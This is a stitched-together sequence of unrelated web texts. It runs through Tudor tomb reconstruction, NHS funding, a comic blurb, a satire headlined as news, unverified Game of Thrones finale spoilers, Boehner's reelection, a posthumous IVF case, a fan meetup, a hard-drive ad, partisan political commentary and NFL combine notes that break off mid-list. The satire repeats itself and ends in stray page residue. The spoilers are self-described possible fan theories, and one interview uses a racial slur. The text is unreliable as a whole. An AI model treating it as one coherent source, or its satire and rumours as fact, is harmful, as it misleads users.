Some parts of the monuments were salvaged and the pair of tombs was later completed, but in a different style than originally planned. They remain in St. Michael's Church, in Framlingham, Suffolk, today. Other original pieces were left in the ruins of Thetford Priory and were found in archaeological excavations centuries later and have ended up in various museums, including the British Museum.
Using those scattered artifacts, drawings in 16th-century manuscripts and 3-D techniques, researchers have pieced together a digital picture of what the tombs may have looked like if British history had taken a different turn.
"Using 3-D laser scanning and 3-D prints, we have — virtually — dismantled the monuments at Framlingham and recombined them with the parts left at Thetford in 1540, to try to reconstruct the monuments as they were first intended, in a mixture of the virtual and the real," researcher Phillip Lindley, of the University of Leicester, said in a statement.
Their work is part of an exhibition at the Ancient House Museum in Thetford, on display from Sept. 7, 2013, to March 29, 2014.
Follow Megan Gannon on Twitter and Google+. Follow us @livescience, Facebook& Google+. Original article on LiveScience. |
Image caption Ministers have argued spending more on the NHS is unaffordable
Spending more on the NHS is not necessarily unaffordable - despite the claims of ministers, a leading health expert says.
A major part of the justification for the overhaul of the NHS was that spending would spiral out of control.
But Professor John Appleby, of the King's Fund, said even a doubling of the budget over 20 years was possible.
Writing for the British Medical Journal website, he said it was about whether the NHS was prioritised even more.
Ministers have spent the past few months arguing that the ageing population, rising cost of drugs and factors like obesity mean spending demands would outstrip what was affordable in the coming years.
Priorities
In an article in the Daily Telegraph last month, Health Secretary Andrew Lansley suggested on current trends £230bn would need to be spent on health by 2030 compared to the £103bn which is spent now.
He said that figure was one that the country "simply could not afford".
But Prof Appleby, the chief economist at the think-tank, questioned that.
He said taking into account the expected growth in the economy a budget of £230bn would require the health budget to rise at about 4% a year above inflation - only a little more than it has got on average since 1948.
Such rises would bring total health spending, including investment in private health care, to about 12.4% of gross domestic product (GDP) - roughly in line with what high spending countries such as the Netherlands are already spending.
Prof Appleby added: "It is a question of priorities really. It could be afforded, but would just require more money to be spent on health. But we are not talking about ridiculous amounts."
But a Department of Health spokeswoman insisted such spending would constitute a "financial crisis".
She added: "The right approach is to change the way that the NHS spends its budget so that it matches patients' needs better - rather than simply spending much larger sums on patterns of care and service which don't match the changing health needs of the population." |
Once upon a time, there were five crazy people, and they poisoned the 21st Century. Now they have to deal with the corrosion to try and save us all from a world becoming too weird to support human life. INJECTION is the new ongoing series created by the acclaimed creative team of Moon Knight. It is science fiction, tales of horror, strange crime fiction, techno-thriller, and ghost story all at the same time. A serialized sequence of graphic novels about how loud and strange the world is getting, about the wild future and the haunted past all crashing into the present day at once, and about five eccentric geniuses dealing with the paranormal and numinous as well as the growing weight of what they did to the planet with the Injection. |
New US Health Plan: Transfer brains of poor people to robot bodies, sell their organs
The move is attracting bipartisan support. A Republican commented, “This takes the best parts of the old system; punishing the poor, rewarding the rich, and that edgy insecurity of knowing bankruptcy is just one hospital stay away. Now the poor need only visit a mechanic to get themselves fixed up. As a bonus they will not be able to breed."
Doctors have long complained about treating the poor. A spokesyacht explained, “They often smell and can’t afford the medicine we prescribe. How are we going to earn our kickbacks from the drug companies if we keep treating the financially challenged? Excuse me, I’ve got to run to a…er…conference in Hawaii; Pfizer really are great people."
Responding to criticism that he is creating a race of resentful, super-strong cyborgs that will destroy society from within, the Health Secretary replied, "I'd rather deal with the Terminator than the HMO’s; those guys really scare me.” In an inspired piece of lateral thinking, the US Health Secretary has proposed a new way out of the US health disaster. All uninsured poor people (the fastest growing demographic) will have their brains removed and placed in a robot body. The cost of doing so will be recouped by selling their liver, kidneys and other assorted organs to the rich.The move is attracting bipartisan support.A Republican commented, “This takes the best parts of the old system; punishing the poor, rewarding the rich, and that edgy insecurity of knowing bankruptcy is just one hospital stay away.Now the poor need only visit a mechanic to get themselves fixed up. As a bonus they will not be able to breed."Doctors have long complained about treating the poor. A spokesyacht explained, “They often smell and can’t afford the medicine we prescribe.How are we going to earn our kickbacks from the drug companies if we keep treating the financially challenged? Excuse me, I’ve gotto run to a…er…conference in Hawaii; Pfizer really are great people."Responding to criticism that he is creating a race of resentful, super-strong cyborgs that will destroy society from within, the Health Secretary replied, "I'd rather deal with the Terminator than the HMO’s; those guys really scare me.” I The gadget spec URL could not be found |
Game of Thrones Season 7 Spoilers : Episode 7 Season Finale
The Dragon and The Wolf
Games of Thrones Season 7 Episode 7 will air on August 27th 2017 in the United States, however Game of Thrones Season 7 Episode 7 spoilers are already out. If you are like one of my friends who doesn’t like spoilers please do not read further as we have Game of Thrones Season 7 Spoilers ahead. #winteriscoming #prepareforwinter
Also Read : Game of Thrones Season 8 Episode 1 Leak (Script)
Disclaimer
We are not the original source of the spoilers. These are available freely on the internet. We have just compiled them into one place from various sources. These could be real leaks or just fan theories.
Also Read :
Game of Thrones Season 7 Episode 4 Leak
Game of Thrones Season 7 Spoilers : Episode 5
Game of Thrones Season 7 Spoilers : Episode 6
Game of Thrones Season 7 Spoilers : Random – June 2017
Game of Thrones Season 7 Spoilers : Episode 7 Season Finale
The Dragon and The Wolf
Also Read : Game of Thrones Season 7 Episode 7 Leak (Scripts)
King’s Landing
Pod and Brienne arrive at King’s Landing on horses.
Dany sends her army of the unsullied and Dothraki to King’s Landing in case Cersei has a trap for her and places them outside King’s Landing. Jamie and Bronn oversee King’s Landing defenses, and are impressed with Dany’s army. Tyrion, Jon and others arrive with Dany via ships.
Tyrion, Jon, Jorah, Dany, Davos, Theon, The Hound (who is the one with the wight in a cage) as well as Dany’s Dothraki blood riders are received by Bronn.
Brienne is already there and see’s the Hound, she is surprised to see how he is still alive. They talk about Arya and The Hound tells Brienne to take care
‘The only person needing protecting is the one who gets in her (Arya’s) way’
The Hound smiles and says he doesn’t want to be in her way.
Tyrion and Pod meet each other as well, Podrick still admires Tyrion and tells him that Tyrion is still his lord.
They all arrive at the dragon pit, and it’s a large amphitheater with three large tents. Other lords also start to arrive, and Tyrion feels like it could be a trap and looks around. Cersei arrives with Euron, The Mountain and Qyburn and they sit.
The Hound and The Mountain make eye contact, and The Hound gives that kill you look #cleganebowl.
The Hound then brings the cage that houses the wight to the middle of the amphitheater. Cersei asks Tyrion where Dany is as Dany isn’t present, this is when Dany arrives on top of Drogon and with Rhaegal giving them company. Everyone is amazed, and Cersei wonders where the third dragon is.
Tyrion then explains what the meeting is about.
Theon and Euron see each other, and Euron challenges Theon to rescue his sister Yara.
Jon then tries to explain about wight and Night King and how they need to unite to fight the Army of the Dead. Cersei doesn’t believe him which is when The Hound opens the wight cage and the wight comes out like a wild beast towards Cersei. The Hound has him chained up so it isn’t able to reach her.
Cersei is amazed and afraid, and this is when The Hound starts to demonstrate how a wight cannot be killed by normal weapons. The wight continues to moves even after The Hound hound cuts it up. Jon then yells out that there are only 2 ways to kill a wight, the first fire, so they set fire to one of the wight arms and the arm stops moving. The second is dragon glass, and then Jon uses to stab the wight with a dragon glass weapon and it dies. This is the proof that everyone needed to come together in order to survive the long night.
There is only one war that matters. The Great War, and it is here
Euron pretends to be afraid and asks how many of these creatures are there. Jon Snow says hundreds and thousands of then. Euron asks
well can they swim?
and Jon responds “no” so Euron says
well I’m going back to Pyke
and leaves with his fleet.
Cersei and Dany see the danger together but Cersei says once the long night is over she must still be queen and offers Jon Snow to be the warden of the North. Jon then swears an oath to Dany in front of everyone.
I can only serve one queen and that queen is Daenerys Targaryen
Cersei is shocked, pissed and leaves. She is unwilling to collaborate because she is unwilling to bend the knee to Dany.
Brienne tells Jaime he needs to come with the Lannister Army to fight the White Walkers, to which Jaime replies by complementing her for her loyalty to the Starks. Brienne replies
“fuck loyalty… it’s about survival”.
Jamie has seen all this and believes in the long night and will do all he can to help them.
Now that Tyrion, Dany and Jon have seen Cersei’s negative response it means they won’t have some of the southern armies as support in the North.
Tyrion heads to the Red Keep with The Mountain behind him. Tyrion and Cersei have a conversation on how she blames him for all the Lannister’s have gone through, how he killed their mother and father. Tyrion says there was nothing he could do and that Tywin just wanted him dead so he had to kill him instead. He also tells her that Daenerys wanted to destroy Kings Landing with fire but he stopped her trying to prove he doesn’t want to destroy his own family.
Then Tyrion says if I’m so evil why don’t you order The Mountain to kill me. Cersei doesn’t give a command. Tyrion decides drinks wine and Cersei doesn’t , Tyrion says she is not drinking wine as she is pregnant. Cersei doesn’t respond, but her facial expression gives it away.
Tyrion then heads out with Cersei to meet the rest of the people that were in the dragon pit and Cersei tells them that after speaking to Tyrion she will send troops north to help against the White Walkers.
Tyrion and Dany talk about how Dany tells Jon that she can’t have children, that the dragons are her children, Jon doesn’t care if she can’t have kids.
Game of Thrones Season 7 Spoilers : Episode 7 Season Finale
The Dragon and The Wolf
Winterfell
Little Finger tell Sansa that Arya is dangerous, and she has some evil plans which is why she came back. He also tells her that Arya will use the letter against her somehow.
Dragonstone
Dany and gang are in Dragonstone after their meeting at King’s Landing. Dany is in the war room where they are organizing the defense of the North, where will the Unsullied, Dothraki, North Men, Southerners etc. will go.
Ser Jorah knows a lot about strategies of the Targaryen Kings, and says they need a defensive strategy as they need to defend.
Theon and Jon speak about the Starks and The Greyjoys and how it used to be when they grew up together. Jon asks if he will come with them to the North, Theon says no because he must rescue Yara first, Jon tells him he should and wishes him luck.
Theon tries to rally the remaining Iron Born left in Dragonstone to come with him to rescue Yara. This is when the fight between the leader of those Iron Borne and Theon takes place. They kick him in the balls a few times, but nothing happens to Theon. Theon seems to be losing which is when he gets back into the fight and beats him, they form a rescue party and head out to save Yara.
Winterfell
Sansa gathers all the Northern lords and leaders, and calls on Arya to come forward. Arya is worried as to what is happening, Sansa says it’s time to judge the great treacheries and betrayals that have been done to the North and we will judge the person responsible for them.
She looks straight at Arya, and then says
you need to tell me how many times you have betrayed The North
Arya is shocked and can’t believe her sister is saying this to her, Sansa repeated and says
you need to tell me how many times you have betrayed The North, Lord Baelish
This is when Sansa starts to name all his treacheries:
you killed Alyssa Arryn
Sansa then pulls out the cat’s paw dagger and asks him if he recognizes it, Little Finger says it belonged to Tyrion, but Sansa knew it was his. Next to Sansa is Bran who has told her all these things, who then says
you once told my father ‘I told you not to trust me’
Little Finger is shocked when he hears this. Sansa then tells all the Lords present how he sold her to the Bolton’s. Little Finger realizes he’s pretty much done but still tries to get his way out by telling them lies and asking for help from Yohn Royce and others.
When you brought me back to Winterfell, you told me there’s no justice in the world. Not unless we make it.
In the end Sansa tells Little Finger:
Lord Baelish, thank you for all your lessons
Sansa then nods to Arya, who slits Littlefinger’s throat using the dagger that was intended to kill Bran way back in S01E02. Little Finger starts to choke in his own blood and falls to the ground holding his throat and dies.
After Arya and Sansa finally patch up and reconcile, Arya tells Sansa she’s the strongest woman she has ever met and Sansa tells her that she could have never achieved the things Arya has and they make up.
Game of Thrones Season 7 Spoilers : Episode 7 Season Finale
The Dragon and The Wolf
King’s Landing
Jamie and Cersei have a conversation about the upcoming war. Jamie is looking at a map of the north and starting to gather the Lannister armies to get ready to go north when Cersei asks him what he’s doing to which Jamie says he’s getting ready to go north with the army which Cersei says
nah they have dragons and troops, they can handle it
She says she would be more than happy to see the White Walkers to kill as many of her enemies as possible. She tells him that she has obtained an agreement with Euron. He pretended to be a coward, but instead he is going to Essos to hire the Golden Company on her behalf. The Gold Company is an army of mercenaries Cersei bought as she got a new credit line from the Iron Bank.
Jamie is disgusted by Cersei and they continue to argue. The argument gets heated up and we see The Mountain draw his sword in case things between Jamie and Cersei get ugly. Jamie is pissed and leaves Cersei (fucking finally) we see Jamie leaving the city (not in his Lannister uniform) and on his way out. He stops to fix his golden hand and looks back at the Red Keep which is when the first snowflakes begin to fall on Kings Landing.
Winterfell – Boatsex and R+L = J
Bran is visited by Sam who Bran recognizes, asks what he is doing there and Sam tells him he needs to see Jon Snow. Bran says he also needs to tell Jon Snow a lot, Sam asks Bran what he needs to tell Jon Snow. Bran says that Jon isn’t Ned’s bastard but Lyanna’s and Rhaegar’s son and that he was born in dorne and that his name isn’t Jon Snow but Jon Sand. But Sam tells Bran that he is not a Sand, and that he has seen it in record that Raeghar had his marriage with Elia annulled and married Lyanna which shocks Bran. Sam then tells Bran that if he can see into the future and past that he should go see for himself. Bran then goes into the past and sees the wedding between Raeghar and Lyanna in a forest, as he sees this he realizes that Roberts rebellion was all based on a lie because Robert was pissed and said that Lyanna was kidnapped.
While this flashback is happening, scenes switch back and forth between Raeghar with Lyanna and Jon and Dany on the boat. As the romantic scene between Raeghar and Lyanna happens we see Jon and Dany’s romantic scene as well. Jon and Dany enter a cabin together, in which they begins to take each others clothes off. #boatsex
Tyrion is the only one who notices that they are having sex, as boatsex intensifies we see the scene where Lyanna is in Tower of Joy where she tells Ned that the baby’s name is Aegon Targaryen. Bran then says Aegon Targaryen is the legitimate heir to the iron throne. R + L = J
The Wall
We see these events through the eyes of Bran who wargs into a bunch of crows and we are brought to East Watch By the Sea, where Tormund and Beric are. The army of the dead with the blizzard following them like in episode one outside The Wall. Tormund and Beric are shocked as they see this, and then the Night King flies in on Viserion. Viserion and the Night King attack the wall , they focus on one part of the wall and melt it. The wall starts to break in a “V” shape. The gap in The Wall is wide enough for the dead to go through, and the Night King fly’s through the wall riding Viserion. Tormund and Beric run for safety.
That’s it for Game of Thrones Season 7 Spoilers peeps, see you next year.
Source – The peeps over at /r/freefolk who don’t bend \m/ |
M.Scott Mahaskey/POLITICO Boehner reelected as speaker despite throng of no votes House speaker reelected; 25 members dissent.
John Boehner was elected Tuesday to serve another two years as speaker of the House, beating back opposition from a surprisingly large group of conservatives who wanted a fresh face atop the Republican Conference.
The Ohio Republican got 216 votes out of 408 cast, while 25 dissenting Republicans voted for candidates as varied as Reps. Daniel Webster of Florida, Jim Jordan of Ohio, Louie Gohmert of Texas and Jeff Duncan of South Carolina, House Majority Leader Kevin McCarthy and Sens. Rand Paul of Kentucky and Jeff Sessions of Alabama.
Story Continued Below
Boehner’s dissenters were well short of forcing a second round of voting, but the historically large number of votes against him — exceeding the 12 to 20 that had been expected — show the clear limits on his power inside the GOP Conference.
( Also on POLITICO: The prisoner of Capitol Hill)
Boehner, a 24-year veteran of Washington, will lead the largest Republican House since the Great Depression, while Kentucky Sen. Mitch McConnell will lead the Republican Senate for the final two years of Barack Obama’s presidency.
The voting wasn’t as easy as Boehner had hoped, but his aides said the outcome was as expected. The speaker’s vote count fluctuated throughout the week, but there was no serious challenger to his role as the top Republican in the House.
Boehner also was helped by circumstance. With Rep. Michael Grimm (R-N.Y.) resigning after pleading guilty to tax evasion, a dozen Democrats attending the funeral of former New York Gov. Mario Cuomo in Manhattan and several lawmakers unable to get to Washington because of inclement weather, only 408 members cast ballots. Boehner could have lost far more Republicans than he did and still won.
And Boehner benefited from the fact that while conservative hard-liners may always distrust him, no one running against him offered a realistic alternative for the overwhelming majority of GOP lawmakers.
( Also on POLITICO: Steve Scalise: Damaged goods?)
Boehner’s opposition grew Tuesday morning just a few hours before the vote. Rep. Justin Amash (R-Mich.) wrote on Facebook that he would “vote for a new speaker” after eight years of Boehner as leader. In 2013, Amash voted for Rep. Raúl Labrador (R-Idaho) for speaker. Rep. Tim Huelskamp (R-Kan.), who originally signaled he would vote for Boehner, announced he would oppose him. Huelskamp voted for Jordan in 2013. Duncan joined the “no” list on Tuesday morning. And Rep. Randy Weber, who voted for Boehner in 2013, said he would throw his support behind fellow Texan Gohmert.
“Let’s all get behind Judge Louie Gohmert for Speaker!” Weber wrote on Twitter. “He has my vote! He’s not afraid to take the fight to the president & his veto pen!” Rep. Curt Clawson (R-Fla.), who replaced Trey Radel after he was arrested for cocaine possession, also said he would vote against Boehner.
There was also some confusion about whether Webster was running for speaker. Webster was nominated and picked up a surprising number of votes (12).
To secure a third term as speaker, Boehner needed a majority of the votes from lawmakers present.
Republican dissenters had been plotting for days to oust Boehner. Kentucky Rep. Thomas Massie told reporters he planned to work Monday night to deny Boehner’s reelection. Almost no one believed the two declared candidates — Gohmert and Rep. Ted Yoho (R-Fla.) — would be the next speaker, but the anti-Boehner group thought that if it pushed the election to a second ballot, it could sweep Boehner aside and find someone else to lead the chamber. If the vote had gone to a second ballot, something that hasn’t happened in a race for speaker since 1923, chaos could have ensued.
Boehner had enough allies — upward of 100 — who privately vowed they would never vote for another candidate. That would have made a so-called compromise candidate almost impossible to elect. Many of Boehner’s allies had said for months that they would keep voting for Boehner until the opposition subsides.
Several sources said Rep. Marlin Stutzman (R-Ind.) was helping lead the effort to push the vote to a second ballot, though neither he nor his chief of staff responded to several emails. Other GOP members involved with trying to push Boehner out included Reps. Dave Brat of Virginia, Paul Gosar of Arizona, Steve King of Iowa, Jim Bridenstine of Oklahoma, Walter Jones of North Carolina and freshman Gary Palmer of Alabama.
Minority Whip Steny Hoyer (D-Md.) predicted that Boehner would be reelected, but he noted that the opposition to the Ohio Republican means Boehner’s problems with his conservative hard-liners haven’t gone away despite the big GOP victories on Election Day.
“I’m not the whip on their side, but my presumption is that the speaker is going to prevail and I think the speaker, like any leader, has to deal with any factions in his party, some of which who are more cooperative than others,” Hoyer said Tuesday morning. “You see in the Republican Party a very hard-line, ideological rigidity.”
Lauren French contributed to this report.
Follow @politico |
JOCELYN Edwards wants the chance to start a family in memory of the husband she loved and lost one day before the couple signed IVF consent forms.
It's a chance that tragedy appeared to put out of reach when her husband of five years, Mark, died after falling three storeys from a balcony.
But in the hours after his death on August 5 this year, Ms Edwards put aside her grief and convinced doctors to extract and preserve Mark's sperm.
With it lies the hope of a lasting legacy for her husband and a child in whose eyes she'll see the man she loved.
Now the only thing that stands in the way is the ruling of a Supreme Court case, which has deferred the decision to NSW Attorney-General John Hatzistergos.
"Mark wanted us to have a baby, regardless of what happened, regardless of if I passed away or he passed away. It's our love, it's our union, it's our family," Ms Edwards said.
There is no provision in the Assisted Reproductive Technologies Act 2007 for a case like this - where no consent forms are signed by the sperm donor at the time of death.
Losing a husband
A few hours after Mark was killed when a railing gave way, Jocelyn Edwards was in a race against time.
Mark Edwards died at work - he was a cable TV technician - at about noon on August 5.
It was a cruel twist of fate. The job at a McMahons Point house in Sydney was only added to his run late.
The Edwards had been due to visit Westmead Fertility Centre on August 6 to sign consent forms, allowing them to begin IVF treatment.
"It shouldn't have happened. Your wife would expect you to come home . . . we had a family dinner that night. We'd be celebrating his godsister's birthday," Ms Edwards said.
As she grieved in Royal North Shore Hospital, a social worker told her that a doctor had said there was an option - harvesting his sperm.
Initially, a leading doctor at the Westmead centre, Dr Howard Smith, said he couldn't help.
There were the rights of the child to consider, a child who'd never know their father.
"I said, 'you wouldn't be saying that to me if . . . you knew the love Mark and I shared . . . you have single women, quite successful single women who go and get donors and they have the right to have a child," Jocelyn said.
But at 10:30pm Dr Smith rang back.
"I think the first thing I said to him was, 'Are you calling me to give me hope or are you calling me to torture me because why are you telling me this'?" Ms Edwards said.
It turned out he was offering hope. He told her to wake a judge for a court order for the sperm to be removed.
When the procedure was performed by IVF Australia's Dr Frank Quinn, 24 hours after Mr Edwards' death, there was usable sperm.
The court battle
Now Jocelyn Edwards faces another battle, with the Supreme Court to decide whether she can use the sperm and begin the IVF program.
And the NSW Attorney-General Hatzistergos may decide whether or not she has the right to undergo fertility treatment.
There's no legal precedent and at a hearing on the matter this month, the Supreme Court sought advice from the Attorney-General's Department and Crown Solicitor's office on the case.
The indications so far from the Attorney-General's Department, Ms Edwards' lawyer Harry Freedman said, is that they will neither support, nor object to, her application.
Dr Quinn said he did not believe a case in NSW like Ms Edwards had ever occurred before.
"I'm here to try to help people, I don't make the rules," Mr Quinn said.
"This has been an ethical debate they have had all over the world.
"I'm here to help. If the court says she's able to use the sperm, I'm here to help."
A spokesman for Mr Hatzistergos said he was unavailable for comment.
A shared love
The Edwards, of Lane Cove, had a son each from previous relationships. They had been together since they met at a party in 2002 -- he was a talented musician and would serenade her.
The couple married in 2005 and had been trying to conceive for two years. She is 40, he was 39.
Ms Edwards was initially put off by a visit to a fertility centre where she felt a doctor was questioning why they wanted to be on IVF when both of them had a son each from a previous relationship.
But they weren't to be discouraged and the night before Mr Edwards' death, hopes were high.
"I wanted to go with insemination first," Ms Edwards said.
"Mark was like 'come on babe, we've been trying so long, why do you want to waste time? It's less a chance than doing IVF straight away, can we just do it straight away'?"
The next morning was "such a happy morning".
"Mark was so happy, he was making breakfast, cracked the egg, he got a double yolk," Ms Edwards said.
"He got a double yolk for the first time and he said, 'look babe, its a double yolk, we're having twins, we're having twins. It's such a lucky day, it's our lucky day." |
Last year, I had the privilege to be a part of the first annual New England Zootopia Meetup. It was a total blast to be able to meet other Zootopia mega-fans and have fun “watching” the movie together (i.e. quoting the whole thing before characters said their lines).
Well, it’s happening again! This time it will be taking place on August 14th in Queens, New York, so I’m sure there will be plenty of people there. The official event is organized by NYC Parks, but the meetup is being organized once again by Redman404, who coordinated last year’s meetup. Sadly, I will not be attending in person this year, (I kinda moved across the country) but ZNN will still be there thanks to YFWE, who’s recently joined our Abyss Gazers.
For more information on the location and official event, you can visit the official NYC Parks site here, and if you want to learn more about the meetup, there are posts on reddit that you can comment on, and the organizers will get back to you as soon as they can!
Also, if you are planning any meetups in your local area, send some information about them over to our submissions box so we can give your events a nice signal boost. Hooray for community interaction IRL! |
The HGST Ultrastar 7K3000 HDD features 7200 RPM, SATA 6Gbps interface and 64MB high speed cache to meet the needs of demanding applications. It delivers unbeatable quality, reliability and availability field proven by top sever and storage OEMs as well as leading Internet giants, resulting in reduced downtime and minimized TOC. It also boasts five Advanced Power Mange modes, ultra low standby power consumption, and halogen-free design, making the Ultrastar 7K3000 an energy-efficient and eco-friendly choice you can purchase and deploy with full confidence.
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When the highest quality and reliability are a top requirement, customer field data proves that the Ultrastar 7K3000 delivers by reducing downtime, eliminating service calls and keeping TCO to a minimum. Engineered for the highest reliability, the Ultrastar 7K3000 is not only put through grueling design tests during development but must also pass stringent ongoing reliability testing during manufacturing. Across the entire Ultrastar family, world-class quality control, combined with scientific root-cause analysis and multi-faceted corrective actions, ensure that HGST remains the recognized leader in quality and reliability for enterprise-class hard drives.
Combining 7200 RPM Performance and Granular Power Control
Operating at 7200 RPM, the HGST Ultrastar 7K3000 offers better overall performance than slower RPM capacity-oriented drives, and does so at impressively low power consumption rates. When compared to HGST’s previous generation Ultrastar A7K2000, the 7K3000 is up to 3 times faster in sustained data transfer rates. The Ultrastar 7K3000 can help data centers achieve lower AC power and HVAC requirements. With five Advanced Power Management modes, the Ultrastar 7K3000 achieves a 59% reduction in watts during low RPM idle mode, and uses less than 1W during standby/sleep modes, freeing up precious headroom for growing enterprise needs.
Innovating for a More Sustainable Environment
The Ultrastar 7K3000 demonstrates HGST ecological leadership with its halogen-free design and power-efficient operation. Both these features serve to qualify the drive for the HGST EcoTrac classification, which identifies products that minimize environmental impact in the areas of product design, manufacturing, operation and disposal. |
On the first day of her medical career, an ecstatic Dr. Lissa Rankin saw 25 patients. But within a few months, she was seeing nearly 40 patients a day as the practice where she was one of eight partners took on a much higher client volume to increase revenue.
"Basically I was giving just 7 minutes per patient," said Rankin. All the doctors at her practice were loading up with patients because of business reasons, she said. "Our reimbursements were shrinking, our overhead and malpractice insurance costs were going up," she said. "It was the only way for us to maintain our salaries."
In 2007, she quit the practice. The financial cost of breaking her contract cost Rankin her retirement savings and her house. She also quit medicine. "I couldn't do it anymore. It wasn't fair for me or my patients. I was devastated," she said.
Until then, Rankin had never doubted that medicine was her calling. Her father was a radiologist and she hung out at hospitals as a kid. "I even scrubbed in and observed my first surgery when I was 12," she said.
Rankin, who was also a professional artist while practicing medicine, sold artwork for a while to make ends meet. She then started a blog, owningpink.com, about how life situations affect physical health. It took off and by 2011, Rankin had 30 contributors. She also started offering online life coaching courses, which have generated more than $300,000 in revenue so far, and scored a six-figure deal for a new book "Mind over Medicine," which is coming out this summer.
Rankin says she has no plans to practice medicine again
"I found my way," she said. |
It's hard to take Bernie Sanders' majestic "political revolution" seriously when Sanders seems desperate to find any excuse to support Hillary -- the human embodiment of everything he loathes, or so we're told -- at the Democratic convention in July. Just listen to Sanders' "warning" to Hillary Clinton about finding an appropriate running mate, which of course changes everything:
"That means having a candidate who can excite working families, excite young people, bring them into the political process, create a large voter turnout," Sanders told Chuck Todd. The Vermont senator was adamant that Clinton pick a hardline progressive for vice president if she successfully secures the Democratic nomination for president. This could help her appeal to the supporters who have flocked to Sanders' campaign during the primary.
Is this real life? For the last few months Sanders has been (rightfully) pointing out that Hillary Clinton is bought and paid for by the monied interests that are making America increasingly awful. And what will remedy the fact that the Clintons and the DNC are rotten to the core? A token progressive running mate! Someone who (maybe) doesn't want to bomb Iran every day will finally be president (of the Senate)!
Guys, do you remember the legendary Kevin Kline political romcom, Dave? Of course you do. And do you remember the vice president from that film, the "boy scout" who was sent on goodwill tours of Africa while a naive Kevin Kline and his corrupt political handlers made a mockery of our beautiful democracy? A Hillary Clinton presidency will be like Dave, only there will be no Sigourney Weaver, so it will be infinitely worse.
Who will be Clinton's VP pick? Tim Kaine? Deval Patrick? Julián Castro? Amy Klobuchar? It doesn't matter. The idea that Clinton -- a power-hungry sociopath -- would share her power as president is a bad joke. Her VP will be busy doing very important progressive things such as graciously accepting a ceremonial Baltic herring from the Finnish royal family. In Finland. Far, far away from an American legislative chamber where actual progressives belong. Hillary Clinton knows this and is already laughing at you and me.
If Bernie Sanders thinks that a "progressive" VP pick will make Hillary Clinton "more attractive" to independents and other level-headed Americans, the vast majority of whom despise her, he's out to brunch. And so is his so-called "political revolution". |
Muslim Press has conducted an interview with Paul Edwards, a writer and film-maker in Montana, to discuss the US presidential candidates and their policies.
Below is the full text of the interview:
Muslim Press: What have Hillary Clinton and Barack Obama done for African-Americans? Is the black community likely to vote for Hillary?
Paul Edwards: Obama and Clinton have done nothing of consequence for African-Americans. Nothing. The older, softer and more Uncle Tom portion of black people will vote for Clinton as well as a substantial portion of the young who know of and resent his overt racism.
MP: Hillary Clinton has recently criticized Trump for supporting the idea of carrying weapons. What is your opinion?
Paul Edwards: America is a murderous country in which guns are the weapon of choice. Our silly mythology has promoted this and its results are endless murders. Allowing people to carry guns, openly or concealed, panders to this insanity and should be illegal. To address the problem of gun violence is impossible in our current corrupt and sold out system, which is controlled, in this matter, by the rogue and vicious NRA.
MP: What is your prediction of the presidential elections? Which party has a better chance of succeeding and why?
Paul Edwards: I can’t confidently predict an outcome to the Presidential election. Both candidates are rightfully detested as the frauds and criminals they are. Clinton has the backing of virtually the entire Imperial Nomenklatura and the national press and media but Trump’s sick blather connects with the great mass of abused, exploited, and ignored lumpenproletariat, the vast American redneck ignorant Underclass as well as the more racist brutish xenophobic billionaires. It is a disaster, either way, and the American system will never be the same, which is the only good that can come of this election.
MP: Donald Trump's remarks about Putin and Saddam Hussein led 50 former security officials of the Republican Party to call him a dangerous person and say they do not support him. Do you yourself view Trump as a dangerous man?
Paul Edwards: The 50 Republicans are a bad joke. These are the monsters who have propelled The Empire through its military disasters and idiocies into its current state of dysfunction. Trump is reckless, feckless, an unstable and vacuous blowhard who would isolate himself from the Masters of Empire as President. Hillary is the truly dangerous one, a chauvinist zealot and warmonger and eager spear-carrier for the worst elements of American Military and Economic Imperialism. |
Another NFL Scouting Combine is in the books, and thus declarative statements about who won and lost the Underwear Olympics have to be made.
It’s easy to look back on a week in Indianapolis and declare it a good one for players like Texas A&M pass rusher Myles Garrett and Washington wide receiver John Ross. Those two players probably generated the most headlines with showings, but they didn’t really do anything unexpected.
Instead, these 10 players were among the real winners and losers of this year’s event.:
Winners
Bucky Hodges, TE, Virginia Tech
An athletic player being athletic at the combine gets overblown, but not with Hodges. He was expected to showcase his athleticism, and he certainly did in Indianapolis. He was the leader among tight ends with an 11’2 broad jump and a 39-inch vertical jump. He was also fifth among tight ends with a 40-yard dash time of 4.57 seconds.
The 6’6, 257-pound Hodges will never be viewed as a classic tight end who blocks and bodies linebackers working the short middle of the passing game, but teams certainly took notice of his performance.
Chris Godwin, WR, Penn State
There no faster riser among wide receivers than Godwin. He was overlooked at Penn State for much of his career because the quarterback play has been shoddy, and running back and future first-round pick Saquon Barkley carrying the ball so well. But Godwin has momentum.
He had a strong Rose Bowl with nine catches for 187 yards and two touchdowns, and backed it up at the combine. He ran the 40 in 4.42 seconds and did the short shuttle in a flat four seconds, the best among all wide receivers.
In the past, we’ve seen receivers boost up in the draft — Cody Latimer becoming a second-round pick in 2014 comes to mind — and that’s what should happen with Godwin. He’s a better player than Latimer, though, so the buyer shouldn’t have to beware.
Zay Jones, WR, East Carolina
Jones has done everything he can this offseason to show he’s not just a product of the high-octane East Carolina passing offense. He starred at the Senior Bowl and carried that over to the combine. In passing drills, Jones looked like what you’d expect from a player who caught 158 passes last season.
He helped himself by running a 4.45 40-yard dash and registering an 11’1 broad jump to go with a 36.5-inch vertical leap. The latter numbers can show exposition, something teams may have doubted with Jones. He may have secured a spot as being the draft’s fourth-best wide receiver.
Gareon Conley, CB, Ohio State
Throughout the draft process Conley has been viewed as a fringe first-round pick. The depth at cornerback this year is so great that it could push a player like Conley back some. At the combine, he pushed back in a big way.
Teams will love his 33-inch arm length and 6’0 and 195-pound frame. Conley is NFL-ready from a technique standpoint, and now he has the size to match it. The only box left he has to check is adding strength. If teams aren’t worried about that, though, he could start overtaking some of his cornerback competition.
Jordan Willis, DE, Kansas State
Length and athleticism for an edge rusher often equals a player on the rise in the draft. This year that is Willis. He’s another Senior Bowl standout who carried the momentum over. He ran the three-cone drill in 6.85 seconds, which was the best of the defensive line group. That’s a better number than Joey Bosa last year. He also ran the 40 in 4.53 seconds and put up a 39-inch vertical leap. For a player who models his game after Cameron Wake, teams might start to think they’re getting a similar type of player in Willis.
Losers
Reuben Foster, MLB, Alabama
You can argue all you want that Foster’s draft stock should remain unchanged, but getting sent home from the combine certainly isn’t a good thing for him. It’s easy to love Foster based on how he plays — and he’ll still carry a top-10 talent grade going into the draft. But he opened the door for teams to question his attitude. That questioning, in addition to playing a position that often gets undervalued in the draft, is a bad combination for the All-American linebacker.
Cooper Kupp, WR, Eastern Washington
